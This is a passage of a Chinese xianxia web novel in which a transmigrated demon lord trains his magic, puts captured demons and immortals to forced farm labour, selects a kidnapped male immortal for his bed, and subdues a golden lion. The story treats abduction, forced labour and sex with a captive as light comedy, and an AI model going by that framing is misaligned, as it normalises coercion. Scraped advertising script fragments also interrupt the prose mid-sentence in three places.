也渐渐消瘦下去,也不知他这一条命还能不能撑到男主来给他一剑。 又一日天色不佳,天上下起了细细密密的雨,官逍如今已经对魔气掌控有了一定熟练度,便借着这细雨检验一下学习成果,荟聚周围魔气形成一个半圆形罩,将自己严严实实包裹其中,察觉雨水碰不到自己分毫,他心中蓦地涌起一番成就感,感觉未来越发有盼头,连毎日那些以魔鬼速度在自己眼前闪现的系统文字也觉讨喜起来。 破山月耐不住独自待在洞府中的枯燥,跑了出来,抱着剑看向雨中静坐的魔尊,对身边魔道:“尊主今岁似乎格外喜好那树上果实,我记得我回来的途中遇见过。” 说完,她也不等身边魔说话,招来一个下属吩咐他沿着归来的路去带一些果实回来。 禄无游站在她身边,安静瞧着她的行为不予评价,等那魔修离开,他才开口道:“你不觉尊主渡劫后变了许多?” 破山月愣了愣,偏头看了眼禄无游,“你这是什么意思,尊主哪怕已成功渡劫,对你我也没有始乱终弃啊!” 禄无游似是被破山月的用词给噎了一下,“你知道我说的不是这个。” “不知如何形容,只觉有什么地方违和。”他沉吟片刻,又没头没尾说了句,“你当初若是多长点心眼,也不至于差点死在战场当巾帼英雄。” 破山月似乎是对几百年前的伤疤被揭开没甚痛苦的反应,顺着禄无游的话说:“即便是多长了心眼,我当时也不会退缩,若不上战场,我也遇不到魔尊。” “你倒是对修魔道一往情深。”禄无游声音很低,更像是在自言自语。 “修仙还是修魔道,对我而言无甚区别,当初是尊主从万千刀剑中把我带出来,那我这条命也是尊主。”破山月说得笃定,偏头看向禄无游,见他面具下那双眼依旧心事重重,继续道。 “魔界地动之时,我想过最差的结果,直到下属来禀告了尊主成功渡劫,我方有起死回生的庆幸,魔界如今尚有那么多动乱之处,就像魔界西陲,若非尊主威名远扬,又有九行煞在那坐镇,可想而知又是百年不休的腥风血雨,尊主的存在便已是最强的镇压,不给仙人两界趁虚而入的机会,不然这等重担,是你能扛还是我能?” “可渡劫后的尊主再没提过统一大业,甚至都失去了杀戮的兴致,这样下去,又如何能抗仙人两界,魔界怕是迟早覆灭。”禄无游忧心道。 “你未曾修得尊主的境界,又怎知他是心慈手软心中再无大业,在修魔道一事上,你应比我更懂不同境界时心境的变化,况且,从前尊主杀魔万千强行提升境界时,我便怕他有朝一日压不住杀戮之气,轻则成智儿心性,重则魂飞魄散,如今这般不再受魔气在体内翻涌之苦,我反而觉得一统魔界势在必得。”破山月反驳。 禄无游一时之间被她这番言辞说得没了声音,不可否认,破山月比他敢想敢做。 “你就是被仙界打怕了,我并非嘲笑你胆怯,只是与其将自身安危寄托在尊主身上,不如多想想如何提升修为,待日后跟随尊主打一场胜仗。”破山月平静道。 禄无游被说得一声不吭,也不知是否听进了心里。 5. 第五章 破山月站了一会儿觉得无聊,本就是养伤期间出来透气的,熟料出来就与禄无游一番辩驳,颇觉疲惫,握着长剑正准备要走,却见身边一直没动静的禄无游唤来了他的得力下属风悟,想起归来时听闻禄无游因为放走那位挨了三十鞭,怕他想不开又作出什么糊涂事,不由停下脚步。 见破山月这番提防作态,禄无游有些好气,但想着自己疏于修行如今确实也打不过这个女魔头,只得好声好气解释:“我让风悟去三界交界处抓几个过路的貌美的女仙子回来,魔尊如今不再靠杀戮解乏,总不能真靠那几个果子作消遣。” 破山月双眸微微睁大,看向禄无游的眼神都变得奇怪。 禄无游被看得有些不自在,意识到自己对一个女魔头说这事不太合宜,掩唇咳嗽了两下,干巴巴道:“同为男修…我总归更了解一些。” 却不想破山月下一秒猛地点头,“是是是,我怎么没想到这一点,尽挑些俊俏的带回来,难怪尊主不喜。” 禄无游:…… 低估你了破山月。 - 官逍初次成功运用魔力,全副身心都在修行一事上,自然没注意到百米之外破山月和禄无游俩的谈话。 他今日成功用魔力从树上摘下一颗柿子并稳稳放置于自己手心,修行教学系统发出清脆的叮声,官逍一边吃着柿子一边打开系统,之前灰色的纳灵期初期教学内容此时变亮,意味着官逍已从炼体期成功毕业。 想想曾看过的诸多小说,低阶境界提升似乎确实没甚异象,他仔细将教学系统上下翻了好几遍,得出了一个确定的答案——他炼体期毕业了! 【滴,宿主已成功度过炼体期,系统奖励功法:《炎魔咒(初阶)》】 见此,官逍数日修行疲惫一扫而空,总算是让他得到所谓的功法了。 奖励的功法没有观看次数,只是播放方式和课件一样,纯考验官逍的眼力和记忆力,好在有之前的经验,大致看完了功法内容,根据功法所写反复试了几次,都没能如书中所写用魔气凝聚出火焰。 显然目前自身境界不足以使用此功法。 不过官逍也不多失望,算算日子从炼体期到纳灵期也才耗费一月不到,自己到底是有些天赋异禀在身上的,是个修魔的好料子。 心中做起了一年修成大乘期的美梦,手中柿子三下五除二塞进嘴中,仰头看了眼树上剩余的零星两个,一种来自食物危机的警钟突然在他脑中敲响。 官逍也顾不上打开纳灵期的课程,收起系统起身往回走去。 东稷这片地势并不多复杂,北边山脉密林,南边沼泽瘴气之地,将东稷主城夹在中间,另毎日陪伴官逍的那棵柿子树处再往西走半刻钟,就是一道万尺宽的断崖,仿若曾经有一把大刀将地面砍成两半。 不知出于什么原因,在东稷的魔修们更喜好居于地下,官逍猜测除去魔修们本身喜黑的癖好外,还有一种原因可能是他们认为地底建筑更稳固一些,比如这次天雷地动都未对地宫造成太大的破坏。 这种风俗习惯也让整个东稷看起来格外空旷荒凉,魔殿和魔台之外几乎就没什么建筑,附近一马平川。 魔殿已经差不多修缮好了,只剩一个屋顶还在搭建中,魔修们也撤去了大半,前些时日魔台上的魔柱损毁两根招来了大量魔兽,如今都群聚北边山林中伺机而动,陆陆续续已有几支狩猎队出动,另一些魔修恢复了以往的巡逻队,在魔界四处游走探查,原本热闹的东稷一夜间就冷清了许多。 官逍心底夸赞,禄无游虽太警觉多疑,但有他这种助手,琐碎日常事务完全不需他来操心。 看完魔殿的修建进度,官逍又在附近转了转,似乎漫无目的,实则在心底盘算筹划。 魔殿修好当日,官逍再次坐在了王座上,另参观了一下后方的寝殿,连接寝殿与大殿的是一条曲折的廊道,廊道以外是冒着黑气的池水,池中有各种姿势的骷髅架为装饰雕塑,看得官逍两眼一黑,对原身的审美已无力作评判。 禄无游和破山月一左一右跟随在他身后,为此官逍也要装出一副看惯了的平常姿态,好在廊道只有一条,并无需要官逍选择岔路口的情况,这会儿官逍又觉原身这装修风格其实也还行。 “池中锦鲤前些时日被雷劫劈死了许多,吾已派下属前去仙界再带回一批。”禄无游见官逍的目光多落在黑池中几次,便出声解释道。 官逍一派从容地点点头,随后察觉哪里不对,等会,去仙界抓鱼? 官逍扭头看了眼禄无游,脑中回忆刚刚是不是自己听错了,还是这又是禄无游的试探。 禄无游与尊主的视线撞上有些怔愣,不解地看向破山月,破山月忙接话道:“这次去的是仙界西海飞云涧,故而会慢上一些时日,上回在南边碧翠仙泉把快要成精的鲤鱼抓走,引起了星宫仙岛那几个仙子注意,禀报了上去,现下巡查得有些勤,不好下手。” 官逍:…… 就纯偷啊? “实在吝啬。”禄无游在一边小声道,“几条鱼罢了,还专派神将守着,天宫自诩富饶之地,也不过如此。” 破山月倒是公正一些,“或许是咱们捕捞得勤了些,不过仙界的鱼实在娇气,次次接来养几日就翻肚皮。” 官逍闻言又看向黑水池,一言难尽。 据说这黑水池的水引自魔界最大的一条血河,那河上游万年前曾发生过一场几近让魔界灭亡的内战,骷髅残骸堆积如山,孕育出了这条魔气充沛的河。 而寝殿的魔气阵也由这黑池水供应能量,仙界的鱼在这水里能活下来才是真正的天赋异禀。 绕过长廊,走到后方寝殿,寝殿比前方大殿稍矮一些,里面陈设大多为黑色寒石雕琢而成,触摸有股透心的凉意,官逍的视线落在那张大床上,除了一个玉枕以外再无其他,空空荡荡,想想今夜要睡在那,活着好像也没什么盼头了。 没盼头的官逍这一夜辗转反侧,床上又硬又冰,天微亮时他实在忍不住,揉着酸痛的胳膊腿儿盘膝坐在床上,翻出教学系统,将纳灵期的内容反复看了几遍。 不得不说,不知是床让人心静,还是外面魔气充沛的黑水池有特殊功效,官逍在这张床上修习的效率好似高了许多,三遍就将一节内容记下了大概。 从描述来看纳灵期和炼体期的区别并不大,只在魔气引入身体的基础上,再在体内炼化成自身修为,从而施法时不止限于在魔气充裕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之地。 说来简单,实际修炼起来却又有诸多难处,在何处转化,如何转化,如何储存于体内,都需官逍一点点摸索。 在几次魔气瘀堵于体内、冲撞得天灵盖都嗡嗡作响后,官逍终于将一口鲜血喷了出来。 红色血迹沾染在身着的红衣上,没多久便融为一体,官逍连喘几口气,虚弱无力地躺回了石床之上。 寒意穿过皮肉进入腹腔,那股翻涌的魔气方才被压住,官逍好似明白了原身为何要毎日睡在这样一张床上了,被躁动的魔气占据身体后,有这样一张床确实能减少很多痛苦。 待缓过来些许,他再次坐起身继续修习,如此反复几回,天色已过晌午,官逍的丹田之中也修炼出一个绿豆大小的储存魔气的地方。 腹中空空,官逍也懒得更换与血迹共存的衣裳,出了寝殿,昨日看好了地形和土质,官逍决定不能坐吃山空,修成能辟谷时尚早,他还需先开源再节流。 出了大殿他便招来附近一个眼熟的魔修,让他带一支小队去北边山上接应狩猎队,顺便将那些天地灵植都带些回来。 那魔修不知所以,不过尊主的吩咐不容他置喙,应声后便快速集结队伍离开东稷主城。 至于其他事情……官逍的主意打到了地牢。 禄无游取来地牢钥匙,边开门边对身后的官逍道:“定常生上次归城时将地牢重新规划一番,另添十八套刑具,其中已有所不同。” 官逍掸了掸袖上沾染的些许灰尘,应了一声,才施施然朝里走去。 地牢两边的石室内都关押着双目无神的魔修和抓捕而来的仙子,牢内异常安静,只有禄无游和官逍行走的声音回荡其中。 再行百步,官逍察觉从此处起,往里气味逐渐刺鼻,他皱了皱眉,有血肉的腥臭味、地下潮湿的霉味,还有种腐烂的气味,叫人作呕。 舍不得耗用体内那耗费了一个上午储存的那丁点儿魔气,地牢中又有封印不能调动周遭,官逍为了发展种植大业,也只得屏息往前走。 “此处多是关押在魔界煽风点火挑起祸端之徒,九行煞派魔押送回来的。”禄无游道。 官逍一听,便顿住脚步,此等难以驯化之辈,不在他的考虑范围内,他的目光往前看,问道:“再往前呢?” “那都是些之前前来挑战尊主之位的魔,您交代留着日后炼器所用。” 官逍当即掉头,似乎往里多走半步都是浪费,回到地牢入口处,官逍目测了一下,觉得劳动力差不多足够,便道:“给他们都戴上锁灵铐,带出来。” 自从尊主渡劫成功,和从前行事作风大相径庭,禄无游都时常困惑,想想破山月笃定说尊主自有尊主的道理,他也不多问,遵从吩咐行事。 官逍则是回到魔殿,习惯了魔气充裕之地,地牢那四处具是阵法封印的地方,让官逍有些喘不过来气,也难怪那些关在里面的魔修都宛如被抽走了魂魄一般。 禄无游将一溜儿魔修和仙子都押回魔殿外,排成长队。 “都已带到,尊主有何吩咐?”禄无游也有些好奇尊主今日这突发奇想是有何用意。 官逍指了指百米开外的平地,询问道:“可知那是何处?” 6. 第六章 禄无游和被从地牢带回来的一众仙魔齐齐顺着官逍所指的方向看去——一片空地,另有几个散落的巨石。 众仙魔不解,可又怕惹恼魔尊再被丢回地牢,想张嘴回答些什么又一个字吐不出来,急得憋红了脸。 只有禄无游,从官逍的语气中听出了些似曾相识,隐约记得几百年前他们跟随尊主定东稷为如今主城时,官逍就指着脚下这片地问他们:你可知道这是何处? 当时他怎么回答的来着? 禄无游眯了眯眼,从久远的记忆中找出来些蛛丝马迹。 好像记得当时, 破山月说:这自然是魔界东稷; 九行煞说:这便是三界从此闻之色变的存在; 定常生说:这是一片地; 他说:这是尊主宏图伟业的开始之地。 尊主却摇头,否定了他们几个的想法,挑眉道:“不,这处以后便是本尊的宫殿。” 从此建设宫殿与修缮宫殿反反复复不停歇也。 有种不太好的预感涌上心头,但因为从官逍身上看到了几百年前的影子,禄无游这些时日对尊主的不信任瞬间烟消云散,甚至都有些怀念建设魔殿时被折磨的日日夜夜。 果然,只听尊主用那一如既往的口吻道:“那是本尊的魔圃。” 禄无游甚至都不用官逍再多说一个字,熟练一招手,让属下押着这群魔修和仙子往官逍刚刚所指的方向而去。 官逍接下来的具体计划就这这么卡在了嘴边,盯着远去的大部队默默感慨:原身果然是培养下属的一把好手,开个下属培训班绝对盆满钵满。 锄地工作在东稷便由官逍的这一句话开始,浩浩荡荡地开展起来。 官逍毎日在寝殿修炼的放松间隙,就去看看他们的工作进展,再稍微挑点儿刺。 因为脚上都戴着锁灵铐,无论是仙还是魔,都无法依赖自身修为劳作,只凭借着蛮力挥舞锄头,这些锄头也是官逍给出一个大概图纸,禄无游再从那稍显抽象的画作中提取精华,令炼器房连夜赶制而成,故而和官逍记忆里的锄头样式略有不同。 锄地工具不好用,再加上这些仙魔早已依赖修为成了习惯,何时又亲手做过这种苦差事,有持着长鞭监工的魔修,他们也不敢偷懒,几天下来就比待在地牢中还蔫儿,只盼着早日结束这种折磨,放他们回地牢待着。 对此反应,禄无游默默叹了一句高明,这可比定常生研究出来那些刑罚更能摧残仙魔的意志,之前他还觉得尊主是改了性子,现下看来尊主只是换了个没有血腥味儿的方式玩弄仙魔罢了。 还是这样更符合尊主的身份,破山月说得一点不错,是他目光短浅,领会不到尊主这个境界的心境。 心中大石落定,于是,在官逍为丹田中那绿豆大小的魔气储存地变成指甲盖儿大小而开心时,他的全能秘书禄无游也开始闭关修炼了。 本在原书中,禄无游想通开始潜心修炼应是在十几年后,那时魔界尊主被书中男主一剑击碎魔核,禄无游觉得是自己能力不足无法抵御仙界神将,害尊主分心以一敌多才有此番结局,痛定思痛,不理会尊主陨去后魔界的纷乱,寻一清静处开始闭关修炼,只为有朝一日能为尊主报仇。 官逍看文时粗略而过,并未注意到这种小小配角身上的细节,所以在听说禄无游闭关后没多诧异,只觉得少了个对原身了解却又办事周全的下属,放松的同时很多事又得亲力亲为。 比如,黑池中有从雷劫中活下来的两条锦鲤自己跳上岸意图自裁,官逍哪里见得这等残忍场面,当即摸了摸咕噜噜直叫的肚子,开启了抓鱼……救鱼大业。 也不知这池中锦鲤是在仙界就长出了点脑子,还是被原身养过一阵子开了灵智,仿佛在刻意与官逍作对般,官逍手往左边伸,他就甩尾巴朝着右边跳,如此几次,官逍衣袍上已经沾满了鱼尾甩来的水珠,浸出一片片深色痕迹,弄得狼狈不堪。 好在原身规矩严苛,除了四个护法,其余魔修无召都不得靠近寝殿,而如今在东稷的两个护法一个闭关修炼,一个独自养伤,不然这狼狈抓鱼的场面落入魔修眼里,他为了保命,也不得不杀魔灭口了。 忙活了半天一无所获的官逍终于想起了他修炼这么久,也是有点实力的,凝神将周边魔气凝结,仔仔细细编织成网状,趁着锦鲤不备,果断扣上。 锦鲤感觉到束缚,在魔气织成的网中疯狂挣扎,官逍见此露出一个胜利者的微笑,不紧不慢朝着落网之鱼走去,只脚步刚迈出两三步,笑容就凝固在了脸上——鱼把他编的网挣开了。 官逍属实没想到,自己的水平竟如此拉胯,他反思了一下,为何在岸上蹦跶了半天的鱼还能挣脱他精心编织的网,最后得出外界魔气不纯的结果,绝非自己学艺不精。 怪不得会有纳灵期这个境界的存在,官逍好似在这一刻悟出了修道的真谛,他重新编织渔网,只是这次用的是丹田中提炼过的魔气,果然更加牢靠,轻松困住肥鱼。 耗去体内全部魔气的官逍换好衣服,提着两条鱼出了魔殿,将微微翻着白眼的锦鲤递给外面值守的魔修,有些嫌弃黑池的水,又把手往那魔修衣服上擦了两下。 那魔修就是官逍曾见过几米高的那位,长得有些一言难尽,但却是魔界难得的憨厚相,他弓着身子双手掌心摊开,接过鱼后表情迟疑。 看看“巴掌大”的鱼,再看看魔尊,因为自己的愚蠢而惭愧不已,抓耳挠腮。 官逍等了几息不见他离开,总算反应过来,他颇为无语,若是禄无游在,怎要他费心解释,他没好气道:“烤了。” 大个子魔修恍然,随后又是迟疑,“送…送哪儿烤?” 官逍:…… 官逍的脑袋转了转,东稷从来没有所谓的食肆,所以想要找个擅厨艺的魔修更是难上加难,几日不见,官逍对禄无游的想念更甚。 “炼器房。”官逍说,随后想到如果没有特地交代,他们那脑子或许能将他的口粮直接炼成个什么鱼骨武器,又补了一句,“鱼肉要九分熟。” 炼器也是烧,烧鱼也是烧,应是无甚区别吧,官逍想。 大个子魔修于是捧着鱼,迈着蒲扇大的脚啪啪地跑远。 想着不久后就能饱餐一顿,官逍此时心情不错,站在魔殿门口眺望远方,一行人影字缭绕的灰雾中走来,是禄无游的下属风悟回城,又给他奉上了几个抓来的过路仙子。 听到先行一步到来的风悟禀告,官逍并无多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大反应,毕竟已经不是第一次被送俘虏了,他只需要如上次那般,大致扫两眼,再表现出一副不屑的模样,便能敷衍过去,风悟又不是禄无游,他连做戏都不需用全部实力。 抱着这种想法,官逍应得很潇洒,转身走进殿在王座前一甩广袖,优雅落座,“且带来看看吧。” 风悟领命,不多时带着几个仙子前来,当一个个袅袅婷婷的仙女依次入殿,本还正坐的官逍身体逐渐向□□,手臂撑着,变成一副懒散的姿态。 还以为要使出一点自制力才能不去馋俊俏仙子,没想到这次风悟带回的都是女仙,虽不可否认仙界的相貌门槛比魔界高出许多,这几个风悟精心挑选的仙女更是清丽貌美,但官逍只有欣赏其相貌的心,却因自身取向无法产生别的心思。 风悟见尊主不像上次那般排斥,觉得自家主上猜对了尊主喜好,抱拳禀道:“此次带回的仙子虽都初飞升,刚从净灵池回仙界,修为低下,但身姿相貌俱佳,尊主若肯赏玩,也是她们的福气。” 初飞升?修为低下?这两个词钻进官逍耳朵,他脑内某根弦好似被轻轻拨动,一个不太成熟的想法成型,若是看中的仙比自己修为低,他是不是也不用这么清心寡欲? 只是这想法刚出现,他又在心底里否决了,但凡他说出让下属将抓取目标锁定在修为低下的仙子身上,那他要如何应对禄无游那浑身的八百个心眼子呢? 他轻轻摇了摇头,颇为可惜。 风悟禀完话后一直没听到尊主的回应,心中突突尤甚,小心打量着尊主的表情动作,见他摇头,便已知道结果,“属下这就将她们关进地牢。” 风悟这一开口,官逍回过神来,他点点头,随后想到什么,“不,带去修魔圃。” 风悟最后的那点儿期待也因为这一句话彻底消失,尊主若是对这几个仙子有丁点儿怜惜,又怎会将他们送去做苦役。等锄地几日以后,这群仙子娇嫩的手就要长满茧子,更入不得尊主眼。 风悟已经打算尽快休整好出城,再为尊主寻觅几个合心的仙子,完成主上交代的任务,对身边这几个仙子也不如回来时照顾,一个眼神,手下魔修便推搡着他们朝殿外行去。 官逍慵懒靠坐在王座中,目光随意落在他们远去的身影上,他得想个办法阻止这种无意义的抓仙行为,掳回的仙子多了,仙界不会无动于衷,届时两界起争端,他这点儿修为根本不足以应付。 正出神想着对策,官逍的视线便定格在殿外的一道身影上,那是个身材高挑匀称的仙子,身着一身青衣,跟在仙女的队伍后被押着远去。 那应是被风悟跟那群仙女一起带回来的,但因为猜测自己不喜男仙,故而将他留在了殿外。 想到风悟说这次带回来的均是初飞升的仙子,那想来他也是,满足修为低的要求,又是男仙子。 官逍指尖轻碰太阳穴,有点心动。 他出声唤回风悟,指着殿门外那道身影说:“将他带进来。” 风悟回头,顺着官逍所指的方向看去,那青衣仙子微垂着头,依稀可见眉眼修长疏朗,乌黑的发丝被风吹得稍稍扬起,虽清瘦背脊却挺得笔直,站立的姿态十分漂亮,飘逸绝俗,这么看竟将周遭仙女都趁得暗淡无光。 7. 第七章 风悟当即让下属将这个差点被遗忘的仙子带进殿中,在门外特地寻角度摆了半天造型的叶鹤清不急不缓走进殿中,每一步都走得端正从容,青色衣袍的下摆随着他的动作轻轻摇曳,有种独特的雅致韵味,像雪中古松,也像林中青竹。 只见他走到与风悟齐平的地方站定,微微抬起下颚,似不经意扫了眼上座的官逍,又很快垂下头,迟疑一瞬,整了整衣冠,朝着官逍行了个仙界的礼,“见过尊主。” 官逍没错过一瞬间看清对方相貌的机会,剑眉星目,面如冠玉。 就是他了,官逍想。 这才是一个合格仙子在官逍心中的印象,仪表不俗,又有风骨。 官逍在肆意观察阶梯下仙子的同时,风悟也在不动声色地打量,回想起在外面犁地修魔圃的那些仙子,他突然明白了尊主瞧不上眼的原因。 这仙子是他回城时遇到的,风悟本着遇见就是缘分,便给顺手抓了,只是一路同行,他竟没有看出这仙子的不俗,实在有些令他费解。 “将他留下,至于其他仙子,你也不必再寻了。”官逍说。 自己带回来仙子被尊主看中,这对风悟来说简直是莫大荣幸,他嘴角忍不住扬了扬,抱拳应是。 风悟退出大殿时将那位仙子也一并带走了,要送上魔尊床的仙子,自然得带下去好好沐浴更衣。 官逍想着今夜就能与仙子春风一度,心中隐隐期待,加之又顺利阻止了魔界继续抓仙子的行为,心情格外愉悦,故而看见炼器房的魔修战战兢兢捧着焦黑的鱼到面前时也没多恼怒。 他用石筷戳了戳盘中的鱼身,发现这鱼竟被烹饪得表里如一,与焦炭毫无二致,足以看出炼器房对火力掌控得多精湛,除了不能吃以外,这烹饪手法简直毫无缺点。 丢开石筷,玉石打磨成的筷子落在地上碎成几节,那捧着盘子的魔修当即骇得腿软跪在地上。 官逍没料到他反应如此之大,靠回座椅上,“另一条呢?” “这…这…”那魔修支支吾吾,说不出一句囫囵话。 官逍懂了,自己眼前这条烹饪地比较成功。 料想到他们炼器房不擅厨艺,可也没想到会是这个结果,早知如此,他不如寻个借口去炼器房守着,至少能保住一点口粮。 到底是他费尽力气抓来的,这么糟蹋实在可惜。 官逍沉着一张脸摆手示意他退下,那魔修本以为今日必会受到重罚,却没想到尊主并未追责,他修为不高,在炼器房也只是打杂的存在,连给炉子烧火都不配,这种面见尊主的事本也轮不到他,只今日这不是什么好事,魔修间互相推诿中就落在了他的头上。 退出大殿后他长舒一口气,仿若得到新生,几米高的魔修守在门外,拉着一张倒霉脸,听见动静猛一激灵,“要…要受什么刑?” 炼器房魔修还有些迷糊,摇摇头。 “那是……进炼器炉被焚?”高个子魔修说话不停结巴,紧张得额头汗水不停往下流。 炼器房魔修仰头看高个子魔修,还是摇摇头,在对方急得要跳脚之前回答:“尊主并未罚你我。” “啊?”高个子魔修挖了挖耳朵,似乎是觉得自己听错了。 碰巧远处的谈话声传来,落入这两个魔修的耳中。 “听闻风悟大人带回来的那位仙子得了尊主青睐,今夜就要洞房花烛,你我可要献上什么贺礼?”高颧骨魔修问。 对面的圆脸魔修搓了搓手,放低声音回答:“我已将珍藏多年的太虚灵芝取了出来,今夜就献于尊主。” 高颧骨魔修瞪眼,“你还有此等宝贝,怎一直未曾听说?” “嘿嘿,当年随禄无游大人前往仙界太虚境抓鱼意外得来,不曾告知旁人,”圆脸魔修说,“这种吸收天地灵气能延年益寿的宝贝,我不舍得享用,只毎日睡前瞧上一眼。” “尊主已是与天同寿,你这宝贝对尊主而言怕是无甚用处。” “那也是我的一点心意。” “…” 两魔修越行越远,高个子魔修和炼器房的魔修互相对视一眼,均有些诧异,他们一直待在炼器房,不曾知晓短短一个多时辰就有大事发生,有这种喜事在前,难怪尊主刚刚没有责罚他们。 虽还没见过那位仙子,这两个魔修却是在心底里感激了一番他的出现。 这时,远处浩浩荡荡有一群魔修归城,嘈杂声隔着老远都能听闻,官逍一连多日在寝殿石床上没能睡好,此时正靠在王座上小憩,顺便运转周天补充体内魔气储备,便被殿外声音吵醒。 他揉了揉迷蒙的双眼,聚周身魔气朝着殿门的方向挥去,魔气与魔殿的大门碰撞发出沉闷声响,随后厚重的门被官逍隔空打开。 “何事喧哗。”官逍的声音从殿内传来。 殿外瞬间安静下来,随后有个浑厚的声音禀道:“回尊主,吾等属下在北山猎得一魔婴期的金狮,献于尊主。” 官逍一听,来了点儿劲,起身朝外走去,只见殿外站着一群雄壮健硕的魔修,他们将什么包围其中,见官逍到来,这群健硕的魔修自觉让出一条道来,于是官逍单薄瘦弱的身体就这么直直立在金狮的正前方不远处。 这金狮身上是纯金色鬃毛,头部庞大,双眼呈琥珀色,锐利有神,与官逍对视时情不自禁露出凶光,它的耳朵微微动了动,粗壮的四肢和身体的肌肉紧绷,似乎下一秒就会朝着官逍扑来。 官逍被这么一双兽瞳注视,浑身寒毛直立,危险警报好似在耳边疯狂炸响,他一动不动,脑中念头不停划过,想着要如何在这么多魔修的面前不狼狈地脱身,保住小命,又能不跌了魔尊的身份。 金狮是狩猎队几十个魔轮流交替施法,连带着束魔绳一起,这才成功带回城中的,对于这种庞然大物,他们都有种本能的畏惧,如今敢轻松站在这里,全然是因为对魔尊的崇拜与信任。 一方是几人高的威风凛凛的金狮,一方是势单力薄的官逍,这无形的对峙让周围的嘈杂声渐渐安静下来。 官逍正在仔细观察它,也不知是不是官逍的直视让金狮感觉自己的威严被挑战,不待官逍相处妥善又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不失身份的逃离理由,那只金狮便突然蹬直后腿,以迅雷不及掩耳之势朝着官逍的方向扑了过来。 官逍瞳孔骤缩,在这千钧一发之际他似乎听到了有惊呼声,有倒抽冷气的声音。 身体比大脑更显作出反应,他侧身躲开一步,在金狮张开大口朝着他脖颈处咬来的时候,官逍猛地抓住金狮脖颈出的鬃毛,借金狮扑来的力道一转身,让自己迅速靠近对方庞大的身体,后背与金狮身躯贴到的刹那,官逍感觉到了金狮身上那充实的肌肉和磅礴的气势,这让他本能地更加小心。 一击不中,金狮怒气更甚,动作更为迅猛,官逍察觉如今的位置难以抵抗金狮的攻势,危急关头难得将之前在景点学的那点骑术想了起来,在没有马蹬的情况下,脚直接踩在了金狮的身上,双手紧抓鬃毛,依着炼体多日身姿轻盈的优势,几步跃上了金狮的后背。 金狮又一次攻击失败,嘶吼一声,叫声震得官逍抓着鬃毛的手都在发麻,耳朵也几近短暂失聪,他忽略这些不适,稳稳坐在了金狮背上,眼角余光落在远处捧着束魔绳的魔修身上。 未免金狮将他甩下,官逍需掌握战斗的主动权,顾不得身体内储存的魔气不剩多少,他将体内和周身的魔气尽数朝着掌心聚拢,心中默念炎魔咒法诀,感受着掌心的法球越聚越大,掌心之上的气流似乎都因魔力的提炼涌动而显得波动异常,骤然间,一簇火苗自法球中燃起,逐渐包裹住整个法球。 这不是官逍第一次成功召出火焰,但之前的每一次都没有今日炼化的火球更大且更快,这一施法动作也不错短短几息。 金狮还在扭头脖子想要撕咬身后的人,官逍的手掌就已重重拍下,将火球砸向了金狮的脖颈处。 魔气炼成的火球灼烧了金狮的毛发,穿透它的身体,落在地上将一片光秃秃的土地都点燃。 金狮受痛仰头吼叫,疼痛让它有了发疯的趋势,被点燃的尘土火势蔓延,金狮的毛发一片片的被点燃,它再顾不上背后坐着的官逍,四处狂奔起来。 官逍就紧紧抓着金狮背上的毛发,垂落在两侧的腿尽量避开自金狮腹部往上燃气的火焰,在路过那捧着束魔绳的魔修时,官逍操纵周围所剩不多的魔气隔空取到了那根绳。 金狮发疯般的跑动带起阵阵风,金狮身上的火焰更甚,即将燃至后背,官逍向前倾身将束魔绳迅速套在了金狮的咽喉,在火焰烧到自己衣摆的前一秒跳起,站在金狮的后背上,手上紧紧拽着束魔绳的两端。 本就被官逍那一个火球重击了身体,随后又是火焰的灼烧,金狮自身的那点魔力早就被消耗,如今再被这一束缚,便动不了分毫,直直站立在原地,任由火焰吞噬它金色的毛发,灼烧他的皮肤。 而站在金狮背上的官逍,就这么站在高处,站在火焰之中,他火红色的衣裳随着火焰摇摆,似乎本就是从肆意燃烧的火焰中走来。 本聚集在金狮附近的那些魔修早已躲到了火焰蔓延的范围之外,远远看着他们的尊主,他们之间相隔的波动着的气流,又给官逍身上添了些许光辉与神秘。 8. 第八章 此时的官逍是有些骑虎难下了,火焰即将点燃他的衣服,体内再无法力可用,周围的魔气又在不久前被抽干,想要试图用法术抵挡火焰的舔舐似乎已经不可能,但如果此时从金狮身上跳开,再在火焰中狼狈逃蹿,他还不如死在金狮的背上,至少再被系统复活的时候,他还能塑造个涅槃重生的形象,巩固所谓的不死之身传言。 打定主意,官逍就放弃了狼狈逃生的想法,不过他难得被上天眷顾了一次,在闭目努力吸纳更远处的魔气时,天空中雷声响起,有一滴雨水落在了他的脸上。 官逍睁眼,只见数米以外有一场小雨正在淅淅沥沥下着,大抵也就是一片云的降雨量,扑灭了地面上的部分火焰,而降雨的范围并不包括所在的范围,刚那一滴雨水也是被风吹来。 而在那雨帘之后,是一道黑色的身影,正在专注施法,试图将招来的云往官逍所在的方向推来。 官逍觉得,从今日起,破山月在他心中的形象,要比禄无游高大许多。 破山月显然是突破境界失败被反噬的伤未好全,操纵云雨的时候有些力不从心,那片云在空中歪歪扭扭移动,最后终于靠近了官逍的位置。 在雨水要落到身上的前一刻,官逍果断将束魔绳打了个结,然后利落从金狮背上一跃而下,大步朝着破山月走去。 破山月的视线上上下下把官逍看了个来回,见没有丝毫被焰火燎到的痕迹,这才确信官逍只是在驯服那头金狮。 她在洞府中养伤时听到外界纷乱的动静,出来一看,便见火光冲天,围绕着魔殿的位置燃烧,以为是外敌来侵袭,拿起长剑便迅速靠近,却在靠近后见到围立在火焰以外的魔修们并无慌张,只有不停的感叹和讨论。 朝着火焰中心看去,这一眼,她几乎以为是看到了从前的尊主。 尊主一向性情多变,行事极端,尤其在成为魔尊之前,他会不顾后果一次次强行冲破修为极限提高自身境界,有时在幽冥血海,有时在鬼蜮密林,那些魔修不敢踏足的危险之地,他靠近的脚步从未迟疑。 